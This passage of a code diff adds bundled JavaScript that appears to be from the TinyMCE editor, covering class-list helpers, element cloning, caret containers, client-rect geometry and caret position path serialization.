+    each(classes, function (x) {
+      $_9lrjdk23jjgwe7u2.add(element, x);
+    });
+  };
+  var remove$6 = function (element, classes) {
+    each(classes, function (x) {
+      $_9lrjdk23jjgwe7u2.remove(element, x);
+    });
+  };
+  var toggle$2 = function (element, classes) {
+    each(classes, function (x) {
+      $_9lrjdk23jjgwe7u2.toggle(element, x);
+    });
+  };
+  var hasAll = function (element, classes) {
+    return forall(classes, function (clazz) {
+      return $_9lrjdk23jjgwe7u2.has(element, clazz);
+    });
+  };
+  var hasAny = function (element, classes) {
+    return exists(classes, function (clazz) {
+      return $_9lrjdk23jjgwe7u2.has(element, clazz);
+    });
+  };
+  var getNative = function (element) {
+    var classList = element.dom().classList;
+    var r = new Array(classList.length);
+    for (var i = 0; i < classList.length; i++) {
+      r[i] = classList.item(i);
+    }
+    return r;
+  };
+  var get$3 = function (element) {
+    return $_4u1bru25jjgwe7u6.supports(element) ? getNative(element) : $_4u1bru25jjgwe7u6.get(element);
+  };
+  var $_cu95hr2hjjgwe7w8 = {
+    add: add$3,
+    remove: remove$6,
+    toggle: toggle$2,
+    hasAll: hasAll,
+    hasAny: hasAny,
+    get: get$3
+  };
+
+  var clone$1 = function (original, deep) {
+    return Element$$1.fromDom(original.dom().cloneNode(deep));
+  };
+  var shallow = function (original) {
+    return clone$1(original, false);
+  };
+  var deep = function (original) {
+    return clone$1(original, true);
+  };
+  var shallowAs = function (original, tag) {
+    var nu = Element$$1.fromTag(tag);
+    var attributes = $_etx7gr15jjgwe7mr.clone(original);
+    $_etx7gr15jjgwe7mr.setAll(nu, attributes);
+    return nu;
+  };
+  var copy$1 = function (original, tag) {
+    var nu = shallowAs(original, tag);
+    var cloneChildren = $_d3rmjp18jjgwe7nc.children(deep(original));
+    $_4wf3mo1xjjgwe7sq.append(nu, cloneChildren);
+    return nu;
+  };
+  var mutate = function (original, tag) {
+    var nu = shallowAs(original, tag);
+    $_ewo3u51yjjgwe7su.before(original, nu);
+    var children = $_d3rmjp18jjgwe7nc.children(original);
+    $_4wf3mo1xjjgwe7sq.append(nu, children);
+    $_81exq51wjjgwe7sm.remove(original);
+    return nu;
+  };
+  var $_6do1m42ijjgwe7wd = {
+    shallow: shallow,
+    shallowAs: shallowAs,
+    deep: deep,
+    copy: copy$1,
+    mutate: mutate
+  };
+
+  var slice$3 = [].slice;
+  var constant$1 = function (value) {
+    return function () {
+      return value;
+    };
+  };
+  var negate = function (predicate) {
+    return function (x) {
+      return !predicate(x);
+    };
+  };
+  var compose$2 = function (f, g) {
+    return function (x) {
+      return f(g(x));
+    };
+  };
+  var or = function () {
+    var x = [];
+    for (var _i = 0; _i < arguments.length; _i++) {
+      x[_i] = arguments[_i];
+    }
+    var args = slice$3.call(arguments);
+    return function (x) {
+      for (var i = 0; i < args.length; i++) {
+        if (args[i](x)) {
+          return true;
+        }
+      }
+      return false;
+    };
+  };
+  var and = function () {
+    var x = [];
+    for (var _i = 0; _i < arguments.length; _i++) {
+      x[_i] = arguments[_i];
+    }
+    var args = slice$3.call(arguments);
+    return function (x) {
+      for (var i = 0; i < args.length; i++) {
+        if (!args[i](x)) {
+          return false;
+        }
+      }
+      return true;
+    };
+  };
+  var curry$1 = function (fn) {
+    var x = [];
+    for (var _i = 1; _i < arguments.length; _i++) {
+      x[_i - 1] = arguments[_i];
+    }
+    var args = slice$3.call(arguments);
+    if (args.length - 1 >= fn.length) {
+      return fn.apply(this, args.slice(1));
+    }
+    return function () {
+      var tempArgs = args.concat([].slice.call(arguments));
+      return curry$1.apply(this, tempArgs);
+    };
+  };
+  var noop$1 = function () {
+  };
+  var $_4127e12ljjgwe7ww = {
+    constant: constant$1,
+    negate: negate,
+    and: and,
+    or: or,
+    curry: curry$1,
+    compose: compose$2,
+    noop: noop$1
+  };
+
+  var ZWSP = '\uFEFF';
+  var isZwsp = function (chr) {
+    return chr === ZWSP;
+  };
+  var trim$3 = function (text) {
+    return text.replace(new RegExp(ZWSP, 'g'), '');
+  };
+  var $_2xw7ul2pjjgwe7xs = {
+    isZwsp: isZwsp,
+    ZWSP: ZWSP,
+    trim: trim$3
+  };
+
+  var isElement$2 = $_3b9u2y1rjjgwe7qe.isElement;
+  var isText$2 = $_3b9u2y1rjjgwe7qe.isText;
+  var isCaretContainerBlock = function (node) {
+    if (isText$2(node)) {
+      node = node.parentNode;
+    }
+    return isElement$2(node) && node.hasAttribute('data-mce-caret');
+  };
+  var isCaretContainerInline = function (node) {
+    return isText$2(node) && $_2xw7ul2pjjgwe7xs.isZwsp(node.data);
+  };
+  var isCaretContainer = function (node) {
+    return isCaretContainerBlock(node) || isCaretContainerInline(node);
+  };
+  var hasContent = function (node) {
+    return node.firstChild !== node.lastChild || !$_3b9u2y1rjjgwe7qe.isBr(node.firstChild);
+  };
+  var insertInline = function (node, before) {
+    var doc, sibling, textNode, parentNode;
+    doc = node.ownerDocument;
+    textNode = doc.createTextNode($_2xw7ul2pjjgwe7xs.ZWSP);
+    parentNode = node.parentNode;
+    if (!before) {
+      sibling = node.nextSibling;
+      if (isText$2(sibling)) {
+        if (isCaretContainer(sibling)) {
+          return sibling;
+        }
+        if (startsWithCaretContainer(sibling)) {
+          sibling.splitText(1);
+          return sibling;
+        }
+      }
+      if (node.nextSibling) {
+        parentNode.insertBefore(textNode, node.nextSibling);
+      } else {
+        parentNode.appendChild(textNode);
+      }
+    } else {
+      sibling = node.previousSibling;
+      if (isText$2(sibling)) {
+        if (isCaretContainer(sibling)) {
+          return sibling;
+        }
+        if (endsWithCaretContainer(sibling)) {
+          return sibling.splitText(sibling.data.length - 1);
+        }
+      }
+      parentNode.insertBefore(textNode, node);
+    }
+    return textNode;
+  };
+  var isBeforeInline = function (pos) {
+    var container = pos.container();
+    return pos && $_3b9u2y1rjjgwe7qe.isText(container) && container.data.charAt(pos.offset()) === $_2xw7ul2pjjgwe7xs.ZWSP;
+  };
+  var isAfterInline = function (pos) {
+    var container = pos.container();
+    return pos && $_3b9u2y1rjjgwe7qe.isText(container) && container.data.charAt(pos.offset() - 1) === $_2xw7ul2pjjgwe7xs.ZWSP;
+  };
+  var createBogusBr = function () {
+    var br = document.createElement('br');
+    br.setAttribute('data-mce-bogus', '1');
+    return br;
+  };
+  var insertBlock = function (blockName, node, before) {
+    var doc, blockNode, parentNode;
+    doc = node.ownerDocument;
+    blockNode = doc.createElement(blockName);
+    blockNode.setAttribute('data-mce-caret', before ? 'before' : 'after');
+    blockNode.setAttribute('data-mce-bogus', 'all');
+    blockNode.appendChild(createBogusBr());
+    parentNode = node.parentNode;
+    if (!before) {
+      if (node.nextSibling) {
+        parentNode.insertBefore(blockNode, node.nextSibling);
+      } else {
+        parentNode.appendChild(blockNode);
+      }
+    } else {
+      parentNode.insertBefore(blockNode, node);
+    }
+    return blockNode;
+  };
+  var startsWithCaretContainer = function (node) {
+    return isText$2(node) && node.data[0] === $_2xw7ul2pjjgwe7xs.ZWSP;
+  };
+  var endsWithCaretContainer = function (node) {
+    return isText$2(node) && node.data[node.data.length - 1] === $_2xw7ul2pjjgwe7xs.ZWSP;
+  };
+  var trimBogusBr = function (elm) {
+    var brs = elm.getElementsByTagName('br');
+    var lastBr = brs[brs.length - 1];
+    if ($_3b9u2y1rjjgwe7qe.isBogus(lastBr)) {
+      lastBr.parentNode.removeChild(lastBr);
+    }
+  };
+  var showCaretContainerBlock = function (caretContainer) {
+    if (caretContainer && caretContainer.hasAttribute('data-mce-caret')) {
+      trimBogusBr(caretContainer);
+      caretContainer.removeAttribute('data-mce-caret');
+      caretContainer.removeAttribute('data-mce-bogus');
+      caretContainer.removeAttribute('style');
+      caretContainer.removeAttribute('_moz_abspos');
+      return caretContainer;
+    }
+    return null;
+  };
+  var isRangeInCaretContainerBlock = function (range) {
+    return isCaretContainerBlock(range.startContainer);
+  };
+
+  var isContentEditableTrue$1 = $_3b9u2y1rjjgwe7qe.isContentEditableTrue;
+  var isContentEditableFalse$1 = $_3b9u2y1rjjgwe7qe.isContentEditableFalse;
+  var isBr$2 = $_3b9u2y1rjjgwe7qe.isBr;
+  var isText$3 = $_3b9u2y1rjjgwe7qe.isText;
+  var isInvalidTextElement = $_3b9u2y1rjjgwe7qe.matchNodeNames('script style textarea');
+  var isAtomicInline = $_3b9u2y1rjjgwe7qe.matchNodeNames('img input textarea hr iframe video audio object');
+  var isTable$1 = $_3b9u2y1rjjgwe7qe.matchNodeNames('table');
+  var isCaretContainer$1 = isCaretContainer;
+  var isCaretCandidate = function (node) {
+    if (isCaretContainer$1(node)) {
+      return false;
+    }
+    if (isText$3(node)) {
+      if (isInvalidTextElement(node.parentNode)) {
+        return false;
+      }
+      return true;
+    }
+    return isAtomicInline(node) || isBr$2(node) || isTable$1(node) || isNonUiContentEditableFalse(node);
+  };
+  var isUnselectable = function (node) {
+    return $_3b9u2y1rjjgwe7qe.isElement(node) && node.getAttribute('unselectable') === 'true';
+  };
+  var isNonUiContentEditableFalse = function (node) {
+    return isUnselectable(node) === false && isContentEditableFalse$1(node);
+  };
+  var isInEditable = function (node, root) {
+    for (node = node.parentNode; node && node !== root; node = node.parentNode) {
+      if (isNonUiContentEditableFalse(node)) {
+        return false;
+      }
+      if (isContentEditableTrue$1(node)) {
+        return true;
+      }
+    }
+    return true;
+  };
+  var isAtomicContentEditableFalse = function (node) {
+    if (!isNonUiContentEditableFalse(node)) {
+      return false;
+    }
+    return $_6t4axrmjjgwe7jf.reduce(node.getElementsByTagName('*'), function (result, elm) {
+      return result || isContentEditableTrue$1(elm);
+    }, false) !== true;
+  };
+  var isAtomic = function (node) {
+    return isAtomicInline(node) || isAtomicContentEditableFalse(node);
+  };
+  var isEditableCaretCandidate = function (node, root) {
+    return isCaretCandidate(node) && isInEditable(node, root);
+  };
+
+  var round = Math.round;
+  var clone$2 = function (rect) {
+    if (!rect) {
+      return {
+        left: 0,
+        top: 0,
+        bottom: 0,
+        right: 0,
+        width: 0,
+        height: 0
+      };
+    }
+    return {
+      left: round(rect.left),
+      top: round(rect.top),
+      bottom: round(rect.bottom),
+      right: round(rect.right),
+      width: round(rect.width),
+      height: round(rect.height)
+    };
+  };
+  var collapse = function (rect, toStart) {
+    rect = clone$2(rect);
+    if (toStart) {
+      rect.right = rect.left;
+    } else {
+      rect.left = rect.left + rect.width;
+      rect.right = rect.left;
+    }
+    rect.width = 0;
+    return rect;
+  };
+  var isEqual = function (rect1, rect2) {
+    return rect1.left === rect2.left && rect1.top === rect2.top && rect1.bottom === rect2.bottom && rect1.right === rect2.right;
+  };
+  var isValidOverflow = function (overflowY, rect1, rect2) {
+    return overflowY >= 0 && overflowY <= Math.min(rect1.height, rect2.height) / 2;
+  };
+  var isAbove = function (rect1, rect2) {
+    if (rect1.bottom - rect1.height / 2 < rect2.top) {
+      return true;
+    }
+    if (rect1.top > rect2.bottom) {
+      return false;
+    }
+    return isValidOverflow(rect2.top - rect1.bottom, rect1, rect2);
+  };
+  var isBelow = function (rect1, rect2) {
+    if (rect1.top > rect2.bottom) {
+      return true;
+    }
+    if (rect1.bottom < rect2.top) {
+      return false;
+    }
+    return isValidOverflow(rect2.bottom - rect1.top, rect1, rect2);
+  };
+  var containsXY = function (rect, clientX, clientY) {
+    return clientX >= rect.left && clientX <= rect.right && clientY >= rect.top && clientY <= rect.bottom;
+  };
+  var overflowX = function (outer, inner) {
+    if (inner.left > outer.left && inner.right < outer.right) {
+      return 0;
+    } else {
+      return inner.left < outer.left ? inner.left - outer.left : inner.right - outer.right;
+    }
+  };
+  var overflowY = function (outer, inner) {
+    if (inner.top > outer.top && inner.bottom < outer.bottom) {
+      return 0;
+    } else {
+      return inner.top < outer.top ? inner.top - outer.top : inner.bottom - outer.bottom;
+    }
+  };
+  var getOverflow = function (outer, inner) {
+    return {
+      x: overflowX(outer, inner),
+      y: overflowY(outer, inner)
+    };
+  };
+
+  var getSelectedNode = function (range) {
+    var startContainer = range.startContainer, startOffset = range.startOffset;
+    if (startContainer.hasChildNodes() && range.endOffset === startOffset + 1) {
+      return startContainer.childNodes[startOffset];
+    }
+    return null;
+  };
+  var getNode = function (container, offset) {
+    if (container.nodeType === 1 && container.hasChildNodes()) {
+      if (offset >= container.childNodes.length) {
+        offset = container.childNodes.length - 1;
+      }
+      container = container.childNodes[offset];
+    }
+    return container;
+  };
+
+  var extendingChars = new RegExp('[\u0300-\u036f\u0483-\u0487\u0488-\u0489\u0591-\u05bd\u05bf\u05c1-\u05c2\u05c4-\u05c5\u05c7\u0610-\u061a' + '\u064b-\u065f\u0670\u06d6-\u06dc\u06df-\u06e4\u06e7-\u06e8\u06ea-\u06ed\u0711\u0730-\u074a\u07a6-\u07b0' + '\u07eb-\u07f3\u0816-\u0819\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0859-\u085b\u08E3-\u0902\u093a\u093c' + '\u0941-\u0948\u094d\u0951-\u0957\u0962-\u0963\u0981\u09bc\u09be\u09c1-\u09c4\u09cd\u09d7\u09e2-\u09e3' + '\u0a01-\u0a02\u0a3c\u0a41-\u0a42\u0a47-\u0a48\u0a4b-\u0a4d\u0a51\u0a70-\u0a71\u0a75\u0a81-\u0a82\u0abc' + '\u0ac1-\u0ac5\u0ac7-\u0ac8\u0acd\u0ae2-\u0ae3\u0b01\u0b3c\u0b3e\u0b3f\u0b41-\u0b44\u0b4d\u0b56\u0b57' + '\u0b62-\u0b63\u0b82\u0bbe\u0bc0\u0bcd\u0bd7\u0c00\u0c3e-\u0c40\u0c46-\u0c48\u0c4a-\u0c4d\u0c55-\u0c56' + '\u0c62-\u0c63\u0c81\u0cbc\u0cbf\u0cc2\u0cc6\u0ccc-\u0ccd\u0cd5-\u0cd6\u0ce2-\u0ce3\u0d01\u0d3e\u0d41-\u0d44' + '\u0d4d\u0d57\u0d62-\u0d63\u0dca\u0dcf\u0dd2-\u0dd4\u0dd6\u0ddf\u0e31\u0e34-\u0e3a\u0e47-\u0e4e\u0eb1\u0eb4-\u0eb9' + '\u0ebb-\u0ebc\u0ec8-\u0ecd\u0f18-\u0f19\u0f35\u0f37\u0f39\u0f71-\u0f7e\u0f80-\u0f84\u0f86-\u0f87\u0f8d-\u0f97' + '\u0f99-\u0fbc\u0fc6\u102d-\u1030\u1032-\u1037\u1039-\u103a\u103d-\u103e\u1058-\u1059\u105e-\u1060\u1071-\u1074' + '\u1082\u1085-\u1086\u108d\u109d\u135d-\u135f\u1712-\u1714\u1732-\u1734\u1752-\u1753\u1772-\u1773\u17b4-\u17b5' + '\u17b7-\u17bd\u17c6\u17c9-\u17d3\u17dd\u180b-\u180d\u18a9\u1920-\u1922\u1927-\u1928\u1932\u1939-\u193b\u1a17-\u1a18' + '\u1a1b\u1a56\u1a58-\u1a5e\u1a60\u1a62\u1a65-\u1a6c\u1a73-\u1a7c\u1a7f\u1ab0-\u1abd\u1ABE\u1b00-\u1b03\u1b34' + '\u1b36-\u1b3a\u1b3c\u1b42\u1b6b-\u1b73\u1b80-\u1b81\u1ba2-\u1ba5\u1ba8-\u1ba9\u1bab-\u1bad\u1be6\u1be8-\u1be9' + '\u1bed\u1bef-\u1bf1\u1c2c-\u1c33\u1c36-\u1c37\u1cd0-\u1cd2\u1cd4-\u1ce0\u1ce2-\u1ce8\u1ced\u1cf4\u1cf8-\u1cf9' + '\u1dc0-\u1df5\u1dfc-\u1dff\u200c-\u200d\u20d0-\u20dc\u20DD-\u20E0\u20e1\u20E2-\u20E4\u20e5-\u20f0\u2cef-\u2cf1' + '\u2d7f\u2de0-\u2dff\u302a-\u302d\u302e-\u302f\u3099-\u309a\ua66f\uA670-\uA672\ua674-\ua67d\uA69E-\ua69f\ua6f0-\ua6f1' + '\ua802\ua806\ua80b\ua825-\ua826\ua8c4\ua8e0-\ua8f1\ua926-\ua92d\ua947-\ua951\ua980-\ua982\ua9b3\ua9b6-\ua9b9\ua9bc' + '\ua9e5\uaa29-\uaa2e\uaa31-\uaa32\uaa35-\uaa36\uaa43\uaa4c\uaa7c\uaab0\uaab2-\uaab4\uaab7-\uaab8\uaabe-\uaabf\uaac1' + '\uaaec-\uaaed\uaaf6\uabe5\uabe8\uabed\ufb1e\ufe00-\ufe0f\ufe20-\uFE2F\uff9e-\uff9f]');
+  var isExtendingChar = function (ch) {
+    return typeof ch === 'string' && ch.charCodeAt(0) >= 768 && extendingChars.test(ch);
+  };
+
+  var liftN = function (arr, f) {
+    var r = [];
+    for (var i = 0; i < arr.length; i++) {
+      var x = arr[i];
+      if (x.isSome()) {
+        r.push(x.getOrDie());
+      } else {
+        return Option.none();
+      }
+    }
+    return Option.some(f.apply(null, r));
+  };
+
+  var isElement$3 = $_3b9u2y1rjjgwe7qe.isElement;
+  var isCaretCandidate$1 = isCaretCandidate;
+  var isBlock$1 = $_3b9u2y1rjjgwe7qe.matchStyleValues('display', 'block table');
+  var isFloated = $_3b9u2y1rjjgwe7qe.matchStyleValues('float', 'left right');
+  var isValidElementCaretCandidate = $_4127e12ljjgwe7ww.and(isElement$3, isCaretCandidate$1, $_4127e12ljjgwe7ww.negate(isFloated));
+  var isNotPre = $_4127e12ljjgwe7ww.negate($_3b9u2y1rjjgwe7qe.matchStyleValues('white-space', 'pre pre-line pre-wrap'));
+  var isText$4 = $_3b9u2y1rjjgwe7qe.isText;
+  var isBr$3 = $_3b9u2y1rjjgwe7qe.isBr;
+  var nodeIndex = DOMUtils$1.nodeIndex;
+  var resolveIndex = getNode;
+  var createRange = function (doc) {
+    return 'createRange' in doc ? doc.createRange() : DOMUtils$1.DOM.createRng();
+  };
+  var isWhiteSpace = function (chr) {
+    return chr && /[\r\n\t ]/.test(chr);
+  };
+  var isRange = function (rng) {
+    return !!rng.setStart && !!rng.setEnd;
+  };
+  var isHiddenWhiteSpaceRange = function (range$$1) {
+    var container = range$$1.startContainer;
+    var offset = range$$1.startOffset;
+    var text;
+    if (isWhiteSpace(range$$1.toString()) && isNotPre(container.parentNode) && $_3b9u2y1rjjgwe7qe.isText(container)) {
+      text = container.data;
+      if (isWhiteSpace(text[offset - 1]) || isWhiteSpace(text[offset + 1])) {
+        return true;
+      }
+    }
+    return false;
+  };
+  var getBrClientRect = function (brNode) {
+    var doc = brNode.ownerDocument;
+    var rng = createRange(doc);
+    var nbsp = doc.createTextNode('\xA0');
+    var parentNode = brNode.parentNode;
+    var clientRect;
+    parentNode.insertBefore(nbsp, brNode);
+    rng.setStart(nbsp, 0);
+    rng.setEnd(nbsp, 1);
+    clientRect = clone$2(rng.getBoundingClientRect());
+    parentNode.removeChild(nbsp);
+    return clientRect;
+  };
+  var getBoundingClientRectWebKitText = function (rng) {
+    var sc = rng.startContainer;
+    var ec = rng.endContainer;
+    var so = rng.startOffset;
+    var eo = rng.endOffset;
+    if (sc === ec && $_3b9u2y1rjjgwe7qe.isText(ec) && so === 0 && eo === 1) {
+      var newRng = rng.cloneRange();
+      newRng.setEndAfter(ec);
+      return getBoundingClientRect(newRng);
+    } else {
+      return null;
+    }
+  };
+  var isZeroRect = function (r) {
+    return r.left === 0 && r.right === 0 && r.top === 0 && r.bottom === 0;
+  };
+  var getBoundingClientRect = function (item) {
+    var clientRect, clientRects;
+    clientRects = item.getClientRects();
+    if (clientRects.length > 0) {
+      clientRect = clone$2(clientRects[0]);
+    } else {
+      clientRect = clone$2(item.getBoundingClientRect());
+    }
+    if (!isRange(item) && isBr$3(item) && isZeroRect(clientRect)) {
+      return getBrClientRect(item);
+    }
+    if (isZeroRect(clientRect) && isRange(item)) {
+      return getBoundingClientRectWebKitText(item);
+    }
+    return clientRect;
+  };
+  var collapseAndInflateWidth = function (clientRect, toStart) {
+    var newClientRect = collapse(clientRect, toStart);
+    newClientRect.width = 1;
+    newClientRect.right = newClientRect.left + 1;
+    return newClientRect;
+  };
+  var getCaretPositionClientRects = function (caretPosition) {
+    var clientRects = [];
+    var beforeNode, node;
+    var addUniqueAndValidRect = function (clientRect) {
+      if (clientRect.height === 0) {
+        return;
+      }
+      if (clientRects.length > 0) {
+        if (isEqual(clientRect, clientRects[clientRects.length - 1])) {
+          return;
+        }
+      }
+      clientRects.push(clientRect);
+    };
+    var addCharacterOffset = function (container, offset) {
+      var range$$1 = createRange(container.ownerDocument);
+      if (offset < container.data.length) {
+        if (isExtendingChar(container.data[offset])) {
+          return clientRects;
+        }
+        if (isExtendingChar(container.data[offset - 1])) {
+          range$$1.setStart(container, offset);
+          range$$1.setEnd(container, offset + 1);
+          if (!isHiddenWhiteSpaceRange(range$$1)) {
+            addUniqueAndValidRect(collapseAndInflateWidth(getBoundingClientRect(range$$1), false));
+            return clientRects;
+          }
+        }
+      }
+      if (offset > 0) {
+        range$$1.setStart(container, offset - 1);
+        range$$1.setEnd(container, offset);
+        if (!isHiddenWhiteSpaceRange(range$$1)) {
+          addUniqueAndValidRect(collapseAndInflateWidth(getBoundingClientRect(range$$1), false));
+        }
+      }
+      if (offset < container.data.length) {
+        range$$1.setStart(container, offset);
+        range$$1.setEnd(container, offset + 1);
+        if (!isHiddenWhiteSpaceRange(range$$1)) {
+          addUniqueAndValidRect(collapseAndInflateWidth(getBoundingClientRect(range$$1), true));
+        }
+      }
+    };
+    if (isText$4(caretPosition.container())) {
+      addCharacterOffset(caretPosition.container(), caretPosition.offset());
+      return clientRects;
+    }
+    if (isElement$3(caretPosition.container())) {
+      if (caretPosition.isAtEnd()) {
+        node = resolveIndex(caretPosition.container(), caretPosition.offset());
+        if (isText$4(node)) {
+          addCharacterOffset(node, node.data.length);
+        }
+        if (isValidElementCaretCandidate(node) && !isBr$3(node)) {
+          addUniqueAndValidRect(collapseAndInflateWidth(getBoundingClientRect(node), false));
+        }
+      } else {
+        node = resolveIndex(caretPosition.container(), caretPosition.offset());
+        if (isText$4(node)) {
+          addCharacterOffset(node, 0);
+        }
+        if (isValidElementCaretCandidate(node) && caretPosition.isAtEnd()) {
+          addUniqueAndValidRect(collapseAndInflateWidth(getBoundingClientRect(node), false));
+          return clientRects;
+        }
+        beforeNode = resolveIndex(caretPosition.container(), caretPosition.offset() - 1);
+        if (isValidElementCaretCandidate(beforeNode) && !isBr$3(beforeNode)) {
+          if (isBlock$1(beforeNode) || isBlock$1(node) || !isValidElementCaretCandidate(node)) {
+            addUniqueAndValidRect(collapseAndInflateWidth(getBoundingClientRect(beforeNode), false));
+          }
+        }
+        if (isValidElementCaretCandidate(node)) {
+          addUniqueAndValidRect(collapseAndInflateWidth(getBoundingClientRect(node), true));
+        }
+      }
+    }
+    return clientRects;
+  };
+  function CaretPosition(container, offset, clientRects) {
+    var isAtStart = function () {
+      if (isText$4(container)) {
+        return offset === 0;
+      }
+      return offset === 0;
+    };
+    var isAtEnd = function () {
+      if (isText$4(container)) {
+        return offset >= container.data.length;
+      }
+      return offset >= container.childNodes.length;
+    };
+    var toRange = function () {
+      var range$$1;
+      range$$1 = createRange(container.ownerDocument);
+      range$$1.setStart(container, offset);
+      range$$1.setEnd(container, offset);
+      return range$$1;
+    };
+    var getClientRects = function () {
+      if (!clientRects) {
+        clientRects = getCaretPositionClientRects(CaretPosition(container, offset));
+      }
+      return clientRects;
+    };
+    var isVisible = function () {
+      return getClientRects().length > 0;
+    };
+    var isEqual$$1 = function (caretPosition) {
+      return caretPosition && container === caretPosition.container() && offset === caretPosition.offset();
+    };
+    var getNode$$1 = function (before) {
+      return resolveIndex(container, before ? offset - 1 : offset);
+    };
+    return {
+      container: $_4127e12ljjgwe7ww.constant(container),
+      offset: $_4127e12ljjgwe7ww.constant(offset),
+      toRange: toRange,
+      getClientRects: getClientRects,
+      isVisible: isVisible,
+      isAtStart: isAtStart,
+      isAtEnd: isAtEnd,
+      isEqual: isEqual$$1,
+      getNode: getNode$$1
+    };
+  }
+  (function (CaretPosition) {
+    CaretPosition.fromRangeStart = function (range$$1) {
+      return CaretPosition(range$$1.startContainer, range$$1.startOffset);
+    };
+    CaretPosition.fromRangeEnd = function (range$$1) {
+      return CaretPosition(range$$1.endContainer, range$$1.endOffset);
+    };
+    CaretPosition.after = function (node) {
+      return CaretPosition(node.parentNode, nodeIndex(node) + 1);
+    };
+    CaretPosition.before = function (node) {
+      return CaretPosition(node.parentNode, nodeIndex(node));
+    };
+    CaretPosition.isAbove = function (pos1, pos2) {
+      return liftN([
+        head(pos2.getClientRects()),
+        last(pos1.getClientRects())
+      ], isAbove).getOr(false);
+    };
+    CaretPosition.isBelow = function (pos1, pos2) {
+      return liftN([
+        last(pos2.getClientRects()),
+        head(pos1.getClientRects())
+      ], isBelow).getOr(false);
+    };
+    CaretPosition.isAtStart = function (pos) {
+      return pos ? pos.isAtStart() : false;
+    };
+    CaretPosition.isAtEnd = function (pos) {
+      return pos ? pos.isAtEnd() : false;
+    };
+    CaretPosition.isTextPosition = function (pos) {
+      return pos ? $_3b9u2y1rjjgwe7qe.isText(pos.container()) : false;
+    };
+    CaretPosition.isElementPosition = function (pos) {
+      return CaretPosition.isTextPosition(pos) === false;
+    };
+  }(CaretPosition || (CaretPosition = {})));
+  var CaretPosition$1 = CaretPosition;
+
+  var isText$5 = $_3b9u2y1rjjgwe7qe.isText;
+  var isBogus$1 = $_3b9u2y1rjjgwe7qe.isBogus;
+  var nodeIndex$1 = DOMUtils$1.nodeIndex;
+  var normalizedParent = function (node) {
+    var parentNode = node.parentNode;
+    if (isBogus$1(parentNode)) {
+      return normalizedParent(parentNode);
+    }
+    return parentNode;
+  };
+  var getChildNodes = function (node) {
+    if (!node) {
+      return [];
+    }
+    return $_6t4axrmjjgwe7jf.reduce(node.childNodes, function (result, node) {
+      if (isBogus$1(node) && node.nodeName !== 'BR') {
+        result = result.concat(getChildNodes(node));
+      } else {
+        result.push(node);
+      }
+      return result;
+    }, []);
+  };
+  var normalizedTextOffset = function (node, offset) {
+    while (node = node.previousSibling) {
+      if (!isText$5(node)) {
+        break;
+      }
+      offset += node.data.length;
+    }
+    return offset;
+  };
+  var equal$1 = function (a) {
+    return function (b) {
+      return a === b;
+    };
+  };
+  var normalizedNodeIndex = function (node) {
+    var nodes, index, numTextFragments;
+    nodes = getChildNodes(normalizedParent(node));
+    index = $_6t4axrmjjgwe7jf.findIndex(nodes, equal$1(node), node);
+    nodes = nodes.slice(0, index + 1);
+    numTextFragments = $_6t4axrmjjgwe7jf.reduce(nodes, function (result, node, i) {
+      if (isText$5(node) && isText$5(nodes[i - 1])) {
+        result++;
+      }
+      return result;
+    }, 0);
+    nodes = $_6t4axrmjjgwe7jf.filter(nodes, $_3b9u2y1rjjgwe7qe.matchNodeNames(node.nodeName));
+    index = $_6t4axrmjjgwe7jf.findIndex(nodes, equal$1(node), node);
+    return index - numTextFragments;
+  };
+  var createPathItem = function (node) {
+    var name;
+    if (isText$5(node)) {
+      name = 'text()';
+    } else {
+      name = node.nodeName.toLowerCase();
+    }
+    return name + '[' + normalizedNodeIndex(node) + ']';
+  };
+  var parentsUntil = function (root, node, predicate) {
+    var parents = [];
+    for (node = node.parentNode; node !== root; node = node.parentNode) {
+      if (predicate && predicate(node)) {
+        break;
+      }
+      parents.push(node);
+    }
+    return parents;
+  };
+  var create$2 = function (root, caretPosition) {
+    var container, offset, path = [], outputOffset, childNodes, parents;
+    container = caretPosition.container();
+    offset = caretPosition.offset();
+    if (isText$5(container)) {
+      outputOffset = normalizedTextOffset(container, offset);
+    } else {
+      childNodes = container.childNodes;
+      if (offset >= childNodes.length) {
+        outputOffset = 'after';
+        offset = childNodes.length - 1;
+      } else {
+        outputOffset = 'before';
+      }
+      container = childNodes[offset];
+    }
+    path.push(createPathItem(container));
+    parents = parentsUntil(root, container);
+    parents = $_6t4axrmjjgwe7jf.filter(parents, $_4127e12ljjgwe7ww.negate($_3b9u2y1rjjgwe7qe.isBogus));
+    path = path.concat($_6t4axrmjjgwe7jf.map(parents, function (node) {
+      return createPathItem(node);
+    }));
+    return path.reverse().join('/') + ',' + outputOffset;
+  };
+  var resolvePathItem = function (node, name, index) {
+    var nodes = getChildNodes(node);
+    nodes = $_6t4axrmjjgwe7jf.filter(nodes, function (node, index) {
+      return !isText$5(node) || !isText$5(nodes[index - 1]);
+    });
+    nodes = $_6t4axrmjjgwe7jf.filter(nodes, $_3b9u2y1rjjgwe7qe.matchNodeNames(name));
+    return nodes[index];
+  };
+  var findTextPosition = function (container, offset) {
+    var node = container, targetOffset = 0, dataLen;
+    while (isText$5(node)) {
+      dataLen = node.data.length;
+      if (offset >= targetOffset && offset <= targetOffset + dataLen) {
+        container = node;
+        offset = offset - targetOffset;
+        break;
+      }
+      if (!isText$5(node.nextSibling)) {
+        container = node;
+        offset = dataLen;
+        break;
+      }
+      targetOffset += dataLen;
+      node = node.nextSibling;
+    }
+    if (isText$5(container) && offset > container.data.length) {
+      offset = container.data.length;
+    }
+    return CaretPosition$1(container, offset);
+  };
+  var resolve$2 = function (root, path) {
+    var parts, container, offset;
+    if (!path) {
+      return null;
+    }
+    parts = path.split(',');
+    path = parts[0].split('/');
+    offset = parts.length > 1 ? parts[1] : 'before';
+    container = $_6t4axrmjjgwe7jf.reduce(path, function (result, value) {
+      value = /([\w\-\(\)]+)\[([0-9]+)\]/.exec(value);
+      if (!value) {
+        return null;
+      }
+      if (value[1] === 'text()') {
+        value[1] = '#text';
+      }
+      return resolvePathItem(result, value[1], parseInt(value[2], 10));
+    }, root);
+    if (!container) {
+      return null;
+    }
+    if (!isText$5(container)) {
+      if (offset === 'after') {
+        offset = nodeIndex$1(container) + 1;
+      } else {
+        offset = nodeIndex$1(container);
+      }
+      return CaretPosition$1(container.parentNode, offset);
+    }
+    return findTextPosition(container, parseInt(offset, 10));
+  };
+
+  var isContentEditableFalse$2 = $_3b9u2y1rjjgwe7qe.isContentEditableFalse;
+  var getNormalizedTextOffset = function (trim, container, offset) {
+    var node, trimmedOffset;
